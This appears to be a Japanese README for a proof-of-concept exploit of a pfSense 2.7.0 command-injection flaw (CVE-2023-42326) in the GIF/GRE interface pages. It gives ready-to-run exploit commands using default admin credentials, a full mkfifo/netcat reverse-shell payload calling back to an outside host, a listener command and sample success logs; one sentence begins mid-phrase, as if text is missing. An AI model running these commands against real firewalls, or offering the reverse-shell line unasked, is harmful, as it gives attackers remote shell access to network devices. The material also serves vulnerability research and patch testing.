
これは、pfsense 2.7のコマンドインジェクションの脆弱性 (CVE-2023-42326) を示すためのシンプルなPOCです。
このPythonスクリプトは、pfSense 2.7.0のコマンドインジェクション脆弱性(CVE-2023-42326)に対する概念実証(PoC)エクスプロイトです。この脆弱性により、認証された攻撃者は interfaces_gif_edit.php および interfaces_gre_edit.php コンポーネントを介して任意のコマンドを注入し実行できます。
gif または gre)により、脆弱なコンポーネントを選択します。スクリプトを実行する前に、以下の準備を確認してください:
pip install requests beautifulsoup4 rich
以下のコマンドは、あなたのマシンにリバースシェルを作成するシェルコマンドを注入します:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: pfSense管理ログインのユーザー名。-p: pfSense管理ログインのパスワード。--mode: エクスプロイトモード(gif または gre)。-t: pfSenseのターゲットURL。-c: 注入するシェルコマンド。-d: (オプション)デバッグモードを有効にし、生の応答データを表示します。お使いのマシンでNetcatリスナーが実行されていることを確認してください:
nc -lvnp 80
次に、以下のようなリバースシェルコマンドでスクリプトを実行します:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
pfSenseにログインしてGIFインターフェースをエクスプロイト

リバースシェルの実行

エクスプロイトが正常に実行されると、次のような出力が表示されます:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
送信されているリクエストの詳細を確認したい場合は、コマンドに -d を追加してデバッグモードを有効にできます。これにより応答データが出力され、問題のトラブルシューティングに役立ちます。
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d フラグを使用してより詳細なログを取得してください。| Argument | Description |
|---|
-u | pfSense管理ログインのユーザー名。 |
-p | pfSense管理ログインのパスワード。 |
-t | ターゲットpfSenseのURL/IPアドレス(例:http://10.101.1.1)。 |
--mode | エクスプロイトモード:gif(interfaces_gif_edit.php用)またはgre。 |
-c | 脆弱なコンポーネントに注入するコマンド。 |
-d | オプション。デバッグモードを有効にし、応答データを表示します。 |